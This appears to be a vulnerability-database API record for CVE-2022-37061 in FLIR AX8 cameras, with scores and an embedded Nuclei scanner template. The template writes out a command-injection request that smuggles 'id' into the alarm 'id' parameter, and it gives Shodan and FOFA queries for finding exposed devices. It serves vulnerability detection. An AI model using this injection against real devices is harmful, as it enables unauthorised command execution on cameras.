{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-37061/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-37061/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-37061/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-37061/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-37061/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-37061"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-37061"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.99607,
      "kev": false,
      "percentile": 0.99947
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2022/CVE-2022-37061.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2022-37061\n\ninfo:\n  name: FLIR AX8 1.46.16 - Remote Command Injection\n  author: ritikchaddha\n  severity: critical\n  description: |\n    FLIR AX8 version 1.46.16 and below is susceptible to an unauthenticated remote command injection vulnerability.The vulnerability exists in the alarm functionality where user-supplied input in the 'id' parameter is not properly sanitized,allowing attackers to inject and execute arbitrary OS commands.\n  impact: |\n    Authenticated attackers can execute arbitrary OS commands on FLIR AX8 thermal imaging cameras through command injection in the alarm functionality's id parameter, potentially gaining complete control over the camera system and connected infrastructure.\n  remediation: |\n    Upgrade to the latest version of FLIR AX8 that addresses this vulnerability. Implement proper input validation and sanitization for all user-supplied data.\n  reference:\n    - https://www.exploit-db.com/exploits/52240\n    - https://www.flir.com/products/ax8-automation/\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-37061\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-37061\n    cwe-id: CWE-78\n    epss-score: 0.99607\n    epss-percentile: 0.99947\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: flir\n    product: ax8\n    shodan-query: title:\"FLIR\"\n    fofa-query: app=\"FLIR-AX8\"\n  tags: cve,cve2022,flir,ax8,rce,authenticated,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /login/dologin HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        user_name={{username}}&user_password={{password}}\n\n      - |\n        POST /res.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n\n        action=alarm&id=2;id\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body_2\n        regex:\n          - 'uid=([0-9(a-z)]+)'\n          - 'gid=([0-9(a-z)]+)'\n          - 'visualBeep'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100e828bb06950a3a70df14c6e10dcfae52fc3e321f127b214dd862746d1f77bf26022100933d53119c59b57ec258b54a924d23a80529904578d5658789482e33e57b6070:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2022-37061"
}